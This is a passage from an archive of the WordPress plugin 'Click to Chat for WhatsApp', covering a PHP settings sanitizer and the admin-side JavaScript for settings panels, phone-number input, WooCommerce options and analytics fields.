                    if ( function_exists('sanitize_textarea_field') ) {
                        $new_input[$key] = map_deep( $input[$key], 'sanitize_textarea_field' );
                    } else {
                        $new_input[$key] = map_deep( $input[$key], 'sanitize_text_field' );
                    }
                } else {
                    if ( 'pre_filled' == $key || 'woo_pre_filled' == $key ) {
                        if ( function_exists('ht_ctc_wp_encode_emoji') ) {
                            $input[$key] = ht_ctc_wp_encode_emoji( $input[$key] );
                        }
                        if ( function_exists('sanitize_textarea_field') ) {
                            $new_input[$key] = sanitize_textarea_field( $input[$key] );
                        } else {
                            $new_input[$key] = sanitize_text_field( $input[$key] );
                        }
                    } elseif ( 'call_to_action' == $key ) {
                        if ( function_exists('ht_ctc_wp_encode_emoji') ) {
                            $input[$key] = ht_ctc_wp_encode_emoji( $input[$key] );
                        }
                        $new_input[$key] = sanitize_text_field( $input[$key] );
                    } elseif ( 'side_1_value' == $key || 'side_2_value' == $key || 'mobile_side_1_value' == $key || 'mobile_side_2_value' == $key ) {
                        $input[$key] = str_replace( ' ', '', $input[$key] );
                        if ( is_numeric($input[$key]) ) {
                            $input[$key] = $input[$key] . 'px';
                        }
                        if ( '' == $input[$key] ) {
                            $input[$key] = '0px';
                        }
                        $new_input[$key] = sanitize_text_field( $input[$key] );
                    } else {
                        $new_input[$key] = sanitize_text_field( $input[$key] );
                    }
                }            
            }
        }

        // l10n
        foreach ($input as $key => $value) {
            if ( 'number' == $key || 'pre_filled' == $key || 'call_to_action' == $key || 'woo_pre_filled' == $key || 'woo_call_to_action' == $key ) {
                do_action( 'wpml_register_single_string', 'Click to Chat for WhatsApp', $key, $input[$key] );
            }
        }

        do_action('ht_ctc_ah_admin_after_sanitize' );

        return $new_input;
    }

}

$ht_ctc_admin_main_page = new HT_CTC_Admin_Main_Page();

add_action('admin_menu', array($ht_ctc_admin_main_page, 'menu') );
add_action('admin_init', array($ht_ctc_admin_main_page, 'settings') );

endif; // END class_exists checkclick-to-chat-for-whatsapp/new/admin/admin_assets/js/dev/admin.dev.js000064400000116331147510273110021535 0ustar00// Click to Chat
document.addEventListener('DOMContentLoaded', function () {
    // md
    try {
        var elems = document.querySelectorAll('select');
        M.FormSelect.init(elems, {});
        var elems = document.querySelectorAll('.collapsible');
        M.Collapsible.init(elems, {});
        var elems = document.querySelectorAll('.modal');
        M.Modal.init(elems, {});
        var elems = document.querySelectorAll('.tooltipped');
        M.Tooltip.init(elems, {});
    } catch (e) {
        console.log(e);
    }
});

(function ($) {

    // ready
    $(function () {

        var admin_ctc = {};
        try {
            document.dispatchEvent(
                new CustomEvent("ht_ctc_fn_all", { detail: { admin_ctc, ctc_getItem, ctc_setItem, intl_init, intl_onchange } })
            );
        } catch (e) {
            console.log(e);
            console.log('cache: ht_ctc_fn_all custom event');
        }

        // local storage - admin
        var ht_ctc_admin = {};

        var ht_ctc_admin_var = (window.ht_ctc_admin_var) ? window.ht_ctc_admin_var : {};
        console.log(ht_ctc_admin_var);

        if (localStorage.getItem('ht_ctc_admin')) {
            ht_ctc_admin = localStorage.getItem('ht_ctc_admin');
            ht_ctc_admin = JSON.parse(ht_ctc_admin);
        }

        // get items from ht_ctc_admin
        function ctc_getItem(item) {
            if (ht_ctc_admin[item]) {
                return ht_ctc_admin[item];
            } else {
                return false;
            }
        }

        // set items to ht_ctc_admin storage
        function ctc_setItem(name, value) {
            ht_ctc_admin[name] = value;
            var newValues = JSON.stringify(ht_ctc_admin);
            localStorage.setItem('ht_ctc_admin', newValues);
        }


        /**
         * ht_ctc_storage - public
         * to update public side - localStorage for admins to see the changes.
         */
        var ht_ctc_storage = {};

        if (localStorage.getItem('ht_ctc_storage')) {
            ht_ctc_storage = localStorage.getItem('ht_ctc_storage');
            ht_ctc_storage = JSON.parse(ht_ctc_storage);
        }

        // get items from ht_ctc_storage
        function ctc_front_getItem(item) {
            if (ht_ctc_storage[item]) {
                return ht_ctc_storage[item];
            } else {
                return false;
            }
        }

        // set items to ht_ctc_storage storage
        function ctc_front_setItem(name, value) {
            ht_ctc_storage[name] = value;
            var newValues = JSON.stringify(ht_ctc_storage);
            localStorage.setItem('ht_ctc_storage', newValues);
        }

        // md
        try {
            $('select').formSelect();
            $('.collapsible').collapsible();
            $('.modal').modal();
            $('.tooltipped').tooltip();
        } catch (e) {
            console.log(e);
        }

        // md tabs
        try {

            $(document).on('click', '.open_tab', function () {
                var tab = $(this).attr('data-tab');
                $('.tabs').tabs('select', tab);
                ctc_setItem('woo_tab', '#' + tab);
            });

            $(document).on('click', '.md_tab_li', function () {
                var href = $(this).children('a').attr('href');
                window.location.hash = href;
                ctc_setItem('woo_tab', href);
            });

            $(".tabs").tabs();

            // only on woo page.. 
            if (document.querySelector('.ctc-admin-woo-page') && ctc_getItem('woo_tab')) {

                var woo_tab = ctc_getItem('woo_tab');

                // setTimeout(() => {
                //     $(".tabs").tabs('select', woo_tab);
                // }, 2500);

                woo_tab = woo_tab.replace('#', '');
                setTimeout(() => {
                    $("[data-tab=" + woo_tab + "]").trigger('click');
                }, 1200);
            }

        } catch (e) {
            console.log(e);
            console.log('cache: md tabs');
        }

        // intl
        try {
            // @parm: class name
            intl_input('intl_number');
            $('.intl_error').remove();
        } catch (e) {
            console.log(e);
            console.log('cache: intl_input');
            $('.greetings_links').hide();
            $('.intl_error').show();
        }


        // wpColorPicker
        // http://automattic.github.io/Iris/#change
        var color_picker = {
            palettes: [
                '#000000',
                '#FFFFFF',
                '#075e54',
                '#128C7E',
                '#25d366',
                '#DCF8C6',
                '#34B7F1',
                '#ECE5DD',
                '#00a884',
            ],
            change: function (event, ui) {
                try {
                    var element = event.target;
                    console.log(element);

                    var color = ui.color.toString();
                    console.log(color);

                    // check if element have data-update attribute
                    var update_type = $(element).attr('data-update-type'); // color, background-color, border-color, ..
                    console.log(update_type);

                    var update_class = $(element).attr('data-update-selector'); // the other filed to update
                    console.log(update_class);

                    if (update_type && update_class) {
                        console.log('update');
                        $(update_class).css(update_type, color);

                        // if data-update-2-type and data-update-2-selector exists
                        if ($(element).attr('data-update-2-type') && $(element).attr('data-update-2-selector')) {
                            console.log('update-2-type');
                            $($(element).attr('data-update-2-selector')).css($(element).attr('data-update-2-type'), color);
                        }

                    }
                } catch (e) {
                    console.log(e);
                    console.log('cache: wpColorPicker on change');
                }
            }
        }
        try {
            $('.ht-ctc-color').wpColorPicker(color_picker);
            console.log('wpColorPicker passed args');
        } catch (e) {
            $('.ht-ctc-color').wpColorPicker();
            console.log('wpColorPicker default');
        }

        // functions
        show_hide_options();
        styles();
        call_to_action();
        ht_ctc_admin_animations();
        desktop_mobile();
        notification_badge();
        wn();
        hook();
        ss();
        other();

        try {
            woo_page();
            collapsible();
            update_fronend_storage();
            analytics();
        } catch (e) {
            console.log(e);
            console.log('cache: woo_page(), collapsible(), update_fronend_storage()');
        }

        // jquery ui
        try {
            $(".ctc_sortable").sortable({
                cursor: "move",
                handle: '.handle'
            });
        } catch (e) {
            console.log(e);
            console.log('cache: jquery ui - sortable');
        }


        // show/hide settings
        function show_hide_options() {

            // default display
            var val = $('.global_display:checked').val();

            if (val == 'show') {
                $('.global_show_or_hide_icon').addClass('dashicons dashicons-visibility');
                $(".hide_settings").show();
                $(".show_hide_types .show_btn").attr('disabled', 'disabled');
                $(".show_hide_types .show_box").hide();
            } else if (val == 'hide') {
                $('.global_show_or_hide_icon').addClass('dashicons dashicons-hidden');
                $(".show_settings").show();
                $(".show_hide_types .hide_btn").attr('disabled', 'disabled');
                $(".show_hide_types .hide_box").hide();
            }
            $('.global_show_or_hide_label').html('(' + val + ')');

            // on change
            $(".global_display").on("change", function (e) {

                var change_val = e.target.value;
                var add_class = '';
                var remove_class = '';

                $(".hide_settings").hide();
                $(".show_settings").hide();
                $(".show_hide_types .show_btn").removeAttr('disabled');
                $(".show_hide_types .hide_btn").removeAttr('disabled');
                $(".show_hide_types .show_box").hide();
                $(".show_hide_types .hide_box").hide();

                if (change_val == 'show') {
                    add_class = 'dashicons dashicons-visibility';
                    remove_class = 'dashicons-hidden';
                    $(".hide_settings").show(500);
                    $(".show_hide_types .show_btn").attr('disabled', 'disabled');
                    $(".show_hide_types .hide_box").show();
                } else if (change_val == 'hide') {
                    add_class = 'dashicons dashicons-hidden';
                    remove_class = 'dashicons-visibility';
                    $(".show_settings").show(500);
                    $(".show_hide_types .hide_btn").attr('disabled', 'disabled');
                    $(".show_hide_types .show_box").show();
                }
                $('.global_show_or_hide_label').html('(' + change_val + ')');
                $('.global_show_or_hide_icon').removeClass(remove_class);
                $('.global_show_or_hide_icon').addClass(add_class);

            });

        }


        // styles
        function styles() {


            // get data-style attribute from select_style_container and add class to select_style_item as selected
            var style = $('.select_style_container').attr('data-style');
            console.log(style);
            if (style) {
                $('.select_style_item[data-style="' + style + '"]').addClass('select_style_selected');
            }

            // on click select style item
            $(".select_style_item").on("click", function (e) {

                // select effects
                $(".select_style_item").removeClass('select_style_selected');
                $(this).addClass('select_style_selected');

                // update chat_select_style value
                var style = $(this).attr('data-style');
                console.log(style);
                $(".select_style_desktop").val(style);

                $(".customize_styles_link").fadeOut(100).fadeIn(100);

            });


            // get data-style attribute from select_style_container and add class to select_style_item as selected
            var style = $('.m_select_style_container').attr('data-style');
            console.log(style);
            if (style) {
                $('.m_select_style_item[data-style="' + style + '"]').addClass('select_style_selected');
            }

            // on click select style item
            $(".m_select_style_item").on("click", function (e) {

                // select effects
                $(".m_select_style_item").removeClass('select_style_selected');
                $(this).addClass('select_style_selected');

                // update chat_select_style value
                var style = $(this).attr('data-style');
                console.log(style);
                $(".select_style_mobile").val(style);
            });

            // If Styles for desktop, mobile not selected as expected
            if ($('#select_styles_issue').is(':checked') && !$('.same_settings').is(':checked') ) {
                $(".select_styles_issue_checkbox").show();
            }
            $('.select_styles_issue_description').on('click', function (e) {
                $('.select_styles_issue_checkbox').toggle(500);
            });


            // customize styles page: 
            
            // dispaly all style - ask to save changes on change
            $("#display_allstyles").on("change", function (e) {
                $(".display_allstyles_description").show(200);
            });

            // style-1 - add icon
            if ($('.s1_add_icon').is(':checked')) {
                $(".s1_icon_settings").show();
            } else {
                $(".s1_icon_settings").hide();
            }

            $(".s1_add_icon").on("change", function (e) {
                if ($('.s1_add_icon').is(':checked')) {
                    $(".s1_icon_settings").show(200);
                } else {
                    $(".s1_icon_settings").hide(200);
                }
            });
            

        }


        // call to actions
        function call_to_action() {
            var cta_styles = ['.ht_ctc_s2', '.ht_ctc_s3', '.ht_ctc_s3_1', '.ht_ctc_s7'];
            cta_styles.forEach(ht_ctc_admin_cta);

            function ht_ctc_admin_cta(style) {
                // default display
                var val = $(style + ' .select_cta_type').find(":selected").val();
                if (val == 'hide') {
                    $(style + " .cta_stick").hide();
                }

                // on change
                $(style + " .select_cta_type").on("change", function (e) {
                    var change_val = e.target.value;
                    if (change_val == 'hide') {
                        $(style + " .cta_stick").hide(100);
                    } else {
                        $(style + " .cta_stick").show(200);
                    }
                });
            }

        }



        function ht_ctc_admin_animations() {
            // default display
            var val = $('.select_an_type').find(":selected").val();
            if (val == 'no-animation') {
                $(".an_delay").hide();
                $(".an_itr").hide();
            }

            // on change
            $(".select_an_type").on("change", function (e) {

                var change_val = e.target.value;

                if (change_val == 'no-animation') {
                    $(".an_delay").hide();
                    $(".an_itr").hide();
                } else {
                    $(".an_delay").show(500);
                    $(".an_itr").show(500);
                }
            });
        }


        // Deskop, Mobile - same settings
        function desktop_mobile() {

            // same setting
            if ($('.same_settings').is(':checked')) {
                $(".not_samesettings").hide();
            } else {
                $(".not_samesettings").show();
            }

            $(".same_settings").on("change", function (e) {

                if ($('.same_settings').is(':checked')) {
                    $(".not_samesettings").hide(900);
                    $(".select_styles_issue_checkbox").hide();
                } else {
                    $(".not_samesettings").show(900);
                }

            });

        }

        function notification_badge() {
            // same setting
            if ($('#notification_badge').is(':checked')) {
                $(".notification_settings ").show();
            } else {
                $(".notification_settings ").hide();
            }

            $("#notification_badge").on("change", function (e) {

                if ($('#notification_badge').is(':checked')) {
                    $(".notification_settings ").show(400);
                } else {
                    $(".notification_settings ").hide(400);
                }

            });
        }


        // WhatsApp number  
        function wn() {

            var cc = $("#whatsapp_cc").val();
            var num = $("#whatsapp_number").val();

            $("#whatsapp_cc").on("change paste keyup", function (e) {
                cc = $("#whatsapp_cc").val();
                call();
            });

            $("#whatsapp_number").on("change paste keyup", function (e) {
                num = $("#whatsapp_number").val();
                call();

                if (num && 0 == num.charAt(0)) {
                    $('.ctc_wn_initial_zero').show(500);
                } else {
                    $('.ctc_wn_initial_zero').hide(500);
                }
            });

            function call() {
                $(".ht_ctc_wn").html(cc + '' + num);
                $("#ctc_whatsapp_number").val(cc + '' + num);
            }

        }


        // woo page..
        function woo_page() {

            //  Woo single product page - woo position
            var position_val = $('.woo_single_position_select').find(":selected").val();
            // woo add to cart layout
            var style_val = $('.woo_single_style_select').find(":selected").val();

            if (position_val && '' !== position_val && 'select' !== position_val) {
                $('.woo_single_position_settings').show();
            }
            if (position_val && 'select' == position_val) {
                hide_cart_layout();
            } else if (style_val && style_val == '1' || style_val == '8') {
                // if position_val is not 'select'
                show_cart_layout();
            }

            // on change - select position
            $('.woo_single_position_select').on("change", function (e) {
                var position_change_val = e.target.value;
                var style_val = $('.woo_single_style_select').find(":selected").val();

                if (position_change_val == 'select') {
                    $('.woo_single_position_settings').hide(200);
                    hide_cart_layout();
                } else {
                    $('.woo_single_position_settings').show(200);
                    if (style_val == '1' || style_val == '8') {
                        show_cart_layout();
                    }
                }
            });

            // on change - style - for cart layout
            $('.woo_single_style_select').on("change", function (e) {
                var style_change_val = e.target.value;

                if (style_change_val == '1' || style_change_val == '8') {
                    show_cart_layout();
                } else {
                    hide_cart_layout();
                }
            });

            // position center is checked
            if ($('#woo_single_position_center').is(':checked')) {
                $(".woo_single_position_center_checked_content").show();
            }

            $("#woo_single_position_center").on("change", function (e) {
                if ($('#woo_single_position_center').is(':checked')) {
                    $(".woo_single_position_center_checked_content").show(200);
                } else {
                    $(".woo_single_position_center_checked_content").hide(100);
                }
            });



            // woo shop page .. 
            if ($('#woo_shop_add_whatsapp').is(':checked')) {
                $(".woo_shop_add_whatsapp_settings").show();

                var shop_style_val = $('.woo_shop_style').find(":selected").val();
                if (shop_style_val == '1' || shop_style_val == '8') {
                    shop_show_cart_layout();
                }
            }




            $("#woo_shop_add_whatsapp").on("change", function (e) {
                if ($('#woo_shop_add_whatsapp').is(':checked')) {
                    $(".woo_shop_add_whatsapp_settings").show(200);

                    var shop_style_val = $('.woo_shop_style').find(":selected").val();

                    if (shop_style_val == '1' || shop_style_val == '8') {
                        shop_show_cart_layout();
                    }

                } else {
                    $(".woo_shop_add_whatsapp_settings").hide(100);
                    shop_hide_cart_layout(100);
                }
            });


            // on change - style - for cart layout
            $('.woo_shop_style').on("change", function (e) {
                var shop_style_change_val = e.target.value;

                if (shop_style_change_val == '1' || shop_style_change_val == '8') {
                    shop_show_cart_layout();
                } else {
                    shop_hide_cart_layout();
                }
            });


            function show_cart_layout() {
                $(".woo_single_position_settings_cart_layout").show(200);
            }
            function hide_cart_layout() {
                $(".woo_single_position_settings_cart_layout").hide(200);
            }

            function shop_show_cart_layout() {
                $(".woo_shop_cart_layout").show(200);
            }
            function shop_hide_cart_layout() {
                $(".woo_shop_cart_layout").hide(200);
            }

        }


        // webhook
        function hook() {

            // webhook value - html 
            var hook_value_html = $('.add_hook_value').attr('data-html');

            // add value
            $(document).on('click', '.add_hook_value', function () {

                $('.ctc_hook_value').append(hook_value_html);
            });

            // Remove value
            $('.ctc_hook_value').on('click', '.hook_remove_value', function (e) {
                e.preventDefault();
                $(this).closest('.additional-value').remove();
            });

        }


        // things based on screen size
        function ss() {

            var is_mobile = (typeof screen.width !== "undefined" && screen.width > 1024) ? "no" : "yes";

            if ('yes' == is_mobile) {

                // WhatsApp number tooltip position for mobile
                // $("#whatsapp_cc").data('position', 'bottom');
                $("#whatsapp_cc").attr('data-position', 'bottom');
                $("#whatsapp_number").attr('data-position', 'bottom');
            }
        }


        function other() {

            // google ads - checkbox
            $('.ga_ads_display').on('click', function (e) {
                $('.ga_ads_checkbox').toggle(500);
            });

            // // display - call gtag_report_conversion by default if checked.
            // if ($('#ga_ads').is(':checked')) {
            //     $(".ga_ads_checkbox").show();
            // }

            // hover text on save_changes button
            var text = $('#ctc_save_changes_hover_text').text();
            $("#submit").attr('title', text);

            
            // s3e - shadow on hover
            if (!$('#s3_box_shadow').is(':checked')) {
                $(".s3_box_shadow_hover").show();
            }

            $('#s3_box_shadow').on('change', function (e) {
                if ($('#s3_box_shadow').is(':checked')) {
                    $(".s3_box_shadow_hover").hide(400);
                } else {
                    $(".s3_box_shadow_hover").show(500);
                }
            });

        }

        // collapsible..
        function collapsible() {



            /**
             * ht_ctc_sidebar_contat, .. - not added, as it may cause view distraction..
             */
            var collapsible_list = [
                'ht_ctc_s1',
                'ht_ctc_s2',
                'ht_ctc_s3',
                'ht_ctc_s3_1',
                'ht_ctc_s4',
                'ht_ctc_s5',
                'ht_ctc_s6',
                'ht_ctc_s7',
                'ht_ctc_s7_1',
                'ht_ctc_s8',
                'ht_ctc_s99',
                'ht_ctc_webhooks',
                // 'ht_ctc_analytics',
                'ht_ctc_animations',
                'ht_ctc_notification',
                'ht_ctc_other_settings',
                'ht_ctc_enable_share_group',
                'ht_ctc_debug',
                'ht_ctc_device_settings',
                'ht_ctc_show_hide_settings',
                'ht_ctc_woo_1',
                'ht_ctc_woo_shop',
                'ctc_g_opt_in',
                'g_content_collapsible',
                'url_structure',
                'ht_ctc_custom_css'
            ];

            // dynamically add to collapsible_list
            if (document.querySelector('.coll_active')) {
                $('.coll_active').each(function () {
                    collapsible_list.push($(this).attr('data-coll_active'));
                });
            }


            var default_active = [
                'ht_ctc_device_settings',
                'ht_ctc_show_hide_settings',
                'ht_ctc_woo_1',
                'ht_ctc_webhooks',
                // 'ht_ctc_analytics',
                'ht_ctc_animations',
                'ht_ctc_notification',
                'g_content_collapsible',
                'url_structure',
            ];


            collapsible_list.forEach(e => {

                // one known issue.. is already active its not working as expected. 
                var is_col = (ctc_getItem('col_' + e)) ? ctc_getItem('col_' + e) : '';
                if ('open' == is_col) {
                    $('.' + e + ' li').addClass('active');
                } else if ('close' == is_col) {
                    $('.' + e + ' li').removeClass('active');
                } else if (default_active.includes(e)) {
                    // if not changed then for default_active list add active..
                    $('.' + e + ' li').addClass('active');
                }


                $('.' + e).collapsible({
                    onOpenEnd() {
                        console.log(e + ' open');
                        ctc_setItem('col_' + e, 'open');
                    },
                    onCloseEnd() {
                        console.log(e + ' close');
                        ctc_setItem('col_' + e, 'close');
                    }
                });

            });

        }

        /**
         * intl tel input 
         * intlTelInput - from intl js.. 
         * 
         * class name - intl_number, multi agent class names
         */
        function intl_input(className) {

            console.log('intl_input() className: ' + className);

            if (document.querySelector("." + className)) {
                console.log(className + ' class name exists');

                if (typeof intlTelInput !== 'undefined') {
                    
                    $('.' + className).each(function () {
                        console.log('each: calling intl_init()..' + this);
                        var i = intl_init(this);
                    });

                    console.log('calling intl_onchange() from intl_input()');
                    intl_onchange();
                } else {
                    // throw error..
                    console.log('intlTelInput not loaded..');
                    throw new Error('intlTelInput not loaded..');
                }
                
            }

        }

        // intl: - init
        function intl_init(v) {

            console.log('intl_init()');

            var hidden_input = $(v).attr("data-name") ? $(v).attr("data-name") : 'ht_ctc_chat_options[number]';
            console.log(hidden_input);

            $(v).removeAttr('name');
            var pre_countries = [];
            var country_code_date = new Date().toDateString();
            var country_code = (ctc_getItem('country_code_date') == country_code_date) ? ctc_getItem('country_code') : '';
            console.log('country_code: ' + country_code);

            if ('' == country_code) {
                console.log('getting country code..');
                // fall back..
                country_code = 'us';
                
                $.get("https://ipinfo.io", function () { }, "jsonp").always(function (resp) {
                    country_code = (resp && resp.country) ? resp.country : "us";
                    ctc_setItem('country_code', country_code);
                    ctc_setItem('country_code_date', country_code_date);
                    add_prefer_countrys(country_code);
                    call_intl();
                });
            } else {
                call_intl();
            }

            var intl = '';
            function call_intl() {
                pre_countries = (ctc_getItem('pre_countries')) ? ctc_getItem('pre_countries') : [];
                console.log(pre_countries);

                var values = {
                    autoHideDialCode: false,
                    initialCountry: "auto",
                    geoIpLookup: function (success, failure) {
                        success(country_code);
                    },
                    dropdownContainer: document.body,
                    hiddenInput: function () {
                        return { phone: hidden_input, country: 'ht_ctc_chat_options[intl_country]' };
                    },
                    nationalMode: false,
                    // autoPlaceholder: "polite",
                    countryOrder: pre_countries,
                    separateDialCode: true,
                    containerClass: 'intl_tel_input_container',

                    utilsScript: ht_ctc_admin_var.utils
                };

                intl = intlTelInput(v, values );
            }

            return intl;
        }
        

        // intl: on change
        function intl_onchange() {

            console.log('intl_onchange()');

            $('.intl_number').on("input countrychange", function (e) {
                // if blank also it may triggers.. as if countrycode changes.
                console.log('on change - intl_number - input, countrychange');
                console.log(this);
                console.log(intlTelInput);

                // var changed = intlTelInputGlobals.getInstance(this);
                // var changed = window.intlTelInput.getInstance(this);
                // var changed = intlTelInput(this);
                var changed = intlTelInput.getInstance(this);

                console.log(changed);
                console.log(changed.getNumber());

                // add value to next sibbling hidden input field.
                $(this).next('input[type="hidden"]').val(changed.getNumber());


                if (window.ht_ctc_admin_demo_var) {
                    console.log('for demo: update number');
                    window.ht_ctc_admin_demo_var.number = changed.getNumber();
                    console.log(window.ht_ctc_admin_demo_var);
                }

                if (changed.isValidNumber()) {
                    // to display in format
                    console.log('valid number');

                    // issue here.. setNumber ~ uses for for formating..
                    // console.log(changed.getNumber());

                    var d = {
                        number: changed.getNumber()
                    };

                    // @used at admin demo
                    document.dispatchEvent(
                        new CustomEvent("ht_ctc_admin_event_valid_number", { detail: { d } })
                    );

                }
            });

            // intl: only countrycode changes.
            $('.intl_number').on("countrychange", function (e) {

                console.log('on change - intl_number - countrychange');

                // var changed = intlTelInputGlobals.getInstance(this);
                // var changed = window.intlTelInput.getInstance(this);
                // var changed = window.intlTelInput(this);
                var changed = intlTelInput.getInstance(this);

                console.log(changed);

                console.log(changed.getSelectedCountryData().iso2);
                console.log('calling add_prefer_countrys()');
                add_prefer_countrys(changed.getSelectedCountryData().iso2);
            });

        }

        function add_prefer_countrys(country_code) {

            console.log('add_prefer_countrys(): ' + country_code);

            country_code = (country_code && '' !== country_code) ? country_code.toUpperCase() : 'US';

            var pre_countries = (ctc_getItem('pre_countries')) ? ctc_getItem('pre_countries') : [];
            console.log(pre_countries);

            if (!pre_countries.includes(country_code)) {
                console.log(country_code + ' not included. so pushing country code to pre countries');
                
                // push to index 0..
                pre_countries.unshift(country_code);
                // pre_countries.push(country_code);

                ctc_setItem('pre_countries', pre_countries);
            }
            console.log('#END add_prefer_countrys()');
        }


        /**
         * on save changes clear stuff - local storage: front. 
         *  for better user interface - while testing, admin side.. 
         *      for notification badge
         * as now for colors not added on change..
         */
        function update_fronend_storage() {

            $('.notification_field').on("change", function (e) {
                console.log('notifications updated..');
                ctc_front_setItem('n_badge', 'admin_start');
            });


        }



        /**
         * Analytics.. 
         */
        function analytics() {

            console.log('analytics()');

            // google analytics

            // if #google_analytics is checked then display .ctc_ga_values
            if ($('#google_analytics').is(':checked')) {
                $(".ctc_ga_values").show();
            }

            // event name, params - display only if ga is enabled.
            $("#google_analytics").on("change", function (e) {
                if ($('#google_analytics').is(':checked')) {
                    $(".ctc_ga_values").show(400);
                } else {
                    $(".ctc_ga_values").hide(200);
                }
            });


            var g_an_param_snippet = $('.ctc_g_an_param_snippets .ht_ctc_g_an_add_param');
            console.log(g_an_param_snippet);

            // add value
            $(document).on('click', '.ctc_add_g_an_param_button', function () {

                console.log('on click: add g an param button');
                console.log(g_an_param_snippet);

                var g_an_param_order = $('.g_an_param_order').val();
                g_an_param_order = parseInt(g_an_param_order);


                var g_an_param_clone = g_an_param_snippet.clone();
                console.log(g_an_param_clone);

                // filed number for reference
                $(g_an_param_clone).find('.g_an_param_order_ref_number').attr('name', `ht_ctc_othersettings[g_an_params][]`);
                $(g_an_param_clone).find('.g_an_param_order_ref_number').val('g_an_param_' + g_an_param_order);

                $(g_an_param_clone).find('.ht_ctc_g_an_add_param_key').attr('name', `ht_ctc_othersettings[g_an_param_${g_an_param_order}][key]`);
                $(g_an_param_clone).find('.ht_ctc_g_an_add_param_value').attr('name', `ht_ctc_othersettings[g_an_param_${g_an_param_order}][value]`);


                console.log($('.ctc_new_g_an_param'));

                $('.ctc_new_g_an_param').append(g_an_param_clone);


                g_an_param_order++;
                $('.g_an_param_order').val(g_an_param_order);
            });

            



            // fb pixel

            // if #fb_pixel is checked then display .ctc_pixel_values
            if ($('#fb_pixel').is(':checked')) {
                $(".ctc_pixel_values").show();
            }

            // event name, params - display only if fb pixel is enabled.
            $("#fb_pixel").on("change", function (e) {
                if ($('#fb_pixel').is(':checked')) {
                    $(".ctc_pixel_values").show(400);
                } else {
                    $(".ctc_pixel_values").hide(200);
                }
            });

            // if pixel_event_type is 'custom' then display .ctc_pixel_custom_event_name
            var pixel_event_type = $('.pixel_event_type').find(":selected").val();
            if (pixel_event_type == 'trackCustom') {
                $(".pixel_custom_event").show(100);
            } else if (pixel_event_type == 'track') {
                $(".pixel_standard_event").show(100);
            }

            // on change - pixel_event_type
            $(".pixel_event_type").on("change", function (e) {
                var pixel_event_type_change_val = e.target.value;
                console.log(pixel_event_type_change_val);
                if (pixel_event_type_change_val == 'trackCustom') {
                    $(".pixel_custom_event").show(200);
                    $(".pixel_standard_event").hide(100);
                } else if (pixel_event_type_change_val == 'track') {
                    $(".pixel_standard_event").show(200);
                    $(".pixel_custom_event").hide(100);
                }
            });

            var pixel_param_snippet = $('.ctc_pixel_param_snippets .ht_ctc_pixel_add_param');
            console.log(pixel_param_snippet);

            // add value
            $(document).on('click', '.ctc_add_pixel_param_button', function () {

                console.log('on click: add g an param button');
                console.log(pixel_param_snippet);

                var pixel_param_order = $('.pixel_param_order').val();
                pixel_param_order = parseInt(pixel_param_order);


                var pixel_param_clone = pixel_param_snippet.clone();
                console.log(pixel_param_clone);

                // filed number for reference
                $(pixel_param_clone).find('.pixel_param_order_ref_number').attr('name', `ht_ctc_othersettings[pixel_params][]`);
                $(pixel_param_clone).find('.pixel_param_order_ref_number').val('pixel_param_' + pixel_param_order);

                $(pixel_param_clone).find('.ht_ctc_pixel_add_param_key').attr('name', `ht_ctc_othersettings[pixel_param_${pixel_param_order}][key]`);
                $(pixel_param_clone).find('.ht_ctc_pixel_add_param_value').attr('name', `ht_ctc_othersettings[pixel_param_${pixel_param_order}][value]`);


                console.log($('.ctc_new_pixel_param'));

                $('.ctc_new_pixel_param').append(pixel_param_clone);


                pixel_param_order++;
                $('.pixel_param_order').val(pixel_param_order);
            });




            // Remove params
            $('.ctc_an_params').on('click', '.an_param_remove', function (e) {
                console.log('on click: an_param_remove');
                e.preventDefault();
                $(this).closest('.ctc_an_param').remove();
            });

            // analytics count
            $(".analytics_count_message").on("click", function (e) {
                // $(".analytics_count_message span").hide();
                $('.analytics_count_select').toggle(200);
            });

            // on change - analytics count value 
            $(".select_analytics").on("change", function (e) {
                var change_val = e.target.value;
                // $(".analytics_count_message span").show();
                // $('.analytics_count_select').hide(200);
                $(".analytics_count_message span").html(change_val);
            });

        }












    });
})(jQuery);click-to-chat-for-whatsapp/new/admin/admin_assets/js/dev/greetings.dev.js000064400000017676147510273110022450 0ustar00(function ($) {

    // ready
    $(function () {

        if (document.querySelector('.pr_greetings_template')) {
            try {
                greetings_template();
            } catch (e) { }
        }

        if (document.querySelector('.ctc-admin-greetings-page') || document.querySelector('.ctc-admin-woo-page')) {
            try {
                editor();
            } catch (e) { }
        }

        /**
        * display settings based on Greetings template selection
        */
        function greetings_template() {

            var greetings_template = $('.pr_greetings_template select').find(":selected").val();

            if (greetings_template == 'no' || '' == greetings_template) {
                $('.g_content_collapsible').hide();
            } else {
                $('.g_content_collapsible').show();
            }

            // greetings-1
            if (greetings_template == 'greetings-1') {
                $('.ctc_greetings_settings.ctc_g_1').show();
                $('.pr_ht_ctc_greetings_1').show();
                $('.pr_ht_ctc_greetings_settings').show();
                $('.ctc_greetings_notes').show();
                optin();
            }

            // greetings-2
            if (greetings_template == 'greetings-2') {
                $('.ctc_greetings_settings.ctc_g_2').show();
                $('.pr_ht_ctc_greetings_2').show();
                $('.pr_ht_ctc_greetings_settings').show();
                $('.ctc_greetings_notes').show();
                optin();
            }

            // on change
            $('.pr_greetings_template select').on("change", function (e) {
                var greetings_template = e.target.value;

                // ctc_greetings_settings 
                if (greetings_template == 'no') {
                    $('.g_content_collapsible').hide(100);
                    $(" .ctc_greetings_settings").hide();
                } else {
                    // $(" ." + greetings_template).show(100);

                    $('.g_content_collapsible').show();

                    // if not no - then first hide all and again display required fields..
                    if (greetings_template == 'greetings-2' || greetings_template == 'greetings-1') {
                        $(" .ctc_greetings_settings").hide();
                    }
                    $('.ctc_greetings_notes').show();

                    // greetings-1
                    if (greetings_template == 'greetings-1') {
                        $('.ctc_greetings_settings.ctc_g_1').show(100);
                        $('.pr_ht_ctc_greetings_1').show(100);
                        optin();
                    }
                    // greetings-2
                    if (greetings_template == 'greetings-2') {
                        $('.ctc_greetings_settings.ctc_g_2').show(100);
                        $('.pr_ht_ctc_greetings_2').show(100);
                        optin();
                    }

                    $('.pr_ht_ctc_greetings_settings').show();

                }
            });


            // optin - show/hide
            function optin() {
                if ($('.is_opt_in').is(':checked')) {
                    $(".pr_opt_in ").show(200);
                } else {
                    $(".pr_opt_in ").hide(200);
                }
            }
            // optin change
            $(".is_opt_in").on("change", function (e) {
                optin();
            });

        }


        /**
         * greetings header image
         * 
         * @since 3.34
         */
        function greetings_header_image() {

            var mediaUploader;
            $('.ctc_add_image_wp').on('click', function (e) {
                e.preventDefault();
